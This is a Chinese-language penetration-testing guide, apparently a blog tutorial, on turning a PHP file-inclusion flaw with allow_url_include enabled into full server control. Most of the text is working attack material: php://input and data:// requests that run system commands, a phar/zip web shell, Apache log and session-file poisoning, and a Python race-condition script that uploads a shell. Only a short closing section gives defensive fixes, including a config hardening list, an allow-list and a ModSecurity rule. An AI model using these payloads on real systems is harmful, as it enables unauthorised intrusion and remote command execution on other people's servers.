从allow_url_include配置到Getshell:一个PHP文件包含漏洞的完整利用链搭建指南
PHP文件包含漏洞实战:从协议利用到权限获取的全链路解析
当你在渗透测试中发现目标服务器开启了allow_url_include配置时,就像拿到了打开宝库的钥匙。这个配置项本意是为了方便开发者动态加载远程代码,但却经常成为攻击者突破防线的突破口。本文将带你完整走通从漏洞发现到最终控制服务器的全流程,涵盖PHP 5.2到7.x各版本的差异化利用技巧。
1. 漏洞环境侦察与确认
在开始攻击前,我们需要先确认目标环境的"地形地貌"。经典的探针文件phpinfo.php能提供关键情报:
curl -I http://target.com/phpinfo.php | grep "PHP Version"如果无法直接获取phpinfo,可以通过错误触发来收集信息。尝试访问不存在的参数触发警告:
http://target.com/index.php?file=nonexistent.php观察返回的错误信息,常见的有效情报包括:
- PHP版本号范围(5.3.4 / 7.2.1等)
- 服务器绝对路径泄露
- 已加载的扩展模块列表
关键配置检查表:
allow_url_fopen状态allow_url_include状态open_basedir限制范围disable_functions黑名单
提示:现代PHP环境通常会在错误提示中隐藏敏感信息,此时需要依赖差异化的协议响应来判断配置状态
2. 协议选择与利用链构建
不同PHP版本对协议的支持程度差异显著,下面是主流协议的版本适配矩阵:
| 协议类型 | PHP 5.2 | PHP 5.3 | PHP 5.6 | PHP 7.x |
|---|---|---|---|---|
| php://input | ✓ | ✓ | ✓ | ✓ |
| phar:// | × | ✓ | ✓ | ✓ |
| zip:// | ✓ | ✓ | ✓ | ✓ |
| data:// | ✓ | ✓ | ✓ | ✓ |
| expect:// | ✓ | ✓ | × | × |
2.1 php://input的实战应用
当allow_url_include=On时,这是最直接的利用方式。通过Burp Suite构造请求:
GET /index.php?file=php://input HTTP/1.1 Host: target.com Content-Type: application/x-www-form-urlencoded Content-Length: 33 <?php system('id'); ?>绕过技巧:
- 当存在WAF过滤
<?php标签时,可以尝试:<?= `ls -la` ?> - 使用短标签变形:
<% system('whoami'); %>
2.2 phar协议的高级利用
phar协议在文件上传场景中特别有效。假设我们有一个图片上传点:
创建恶意PHP文件:
// shell.php <?php system($_GET['cmd']); ?>压缩并修改后缀:
zip shell.jpg shell.php通过包含触发:
http://target.com/index.php?file=phar://./uploads/shell.jpg/shell.php
注意:PHP 5.3.0以下版本不支持phar协议,且需要目标服务器开启phar扩展
3. 持久化与权限提升
获取初始立足点后,我们需要建立稳定的控制通道。推荐几种持久化方法:
3.1 Web日志污染技术
当其他方法都失效时,日志文件往往是最可靠的突破口。Apache环境下:
http://target.com/index.php?file=<?php system($_GET['cmd']);?>这会将恶意代码写入访问日志,然后包含日志文件:
http://target.com/index.php?file=/var/log/apache2/access.log日志路径参考表:
| 服务器类型 | 默认日志路径 |
|---|---|
| Apache | /var/log/apache2/access.log |
| Nginx | /var/log/nginx/access.log |
| IIS | C:\inetpub\logs\LogFiles\W3SVC1\ |
3.2 Session文件注入
在具有文件上传但无法直接访问上传目录时:
- 获取当前session ID(PHPSESSID)
- 通过表单注入恶意代码到session文件
- 包含session文件路径:
/tmp/sess_[PHPSESSID]
4. 现代环境下的绕过艺术
随着PHP版本升级,传统的利用方式逐渐失效。以下是针对新环境的技巧:
4.1 编码混淆技术
使用base64编码绕过内容检测:
http://target.com/index.php?file=php://filter/convert.base64-decode/resource=data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==4.2 临时文件竞争利用
结合文件上传与LFI的时序攻击:
import requests while True: files = {'file': ('shell.php', '<?php system($_GET["cmd"]);?>')} requests.post('http://target.com/upload.php', files=files) r = requests.get('http://target.com/index.php?file=/tmp/phpXXXXXX') if 'uid=' in r.text: print('Shell uploaded!') break5. 防御视角的漏洞修复建议
理解攻击手法后,开发者可以更有针对性地加固系统:
配置加固:
allow_url_include = Off allow_url_fopen = Off open_basedir = /var/www/html代码层防护:
$allowed = ['header.php', 'footer.php']; if(in_array($_GET['file'], $allowed)) { include($_GET['file']); }WAF规则示例(ModSecurity):
SecRule ARGS_GET:file "@rx (php://|phar://|zip://)" \ "id:1001,deny,msg:'PHP Wrapper Attack Attempt'"
在PHP 8.0+环境中,许多历史漏洞已被默认修复,但开发者仍需保持警惕。定期进行代码审计和安全测试,才是防御这类漏洞的根本之道。
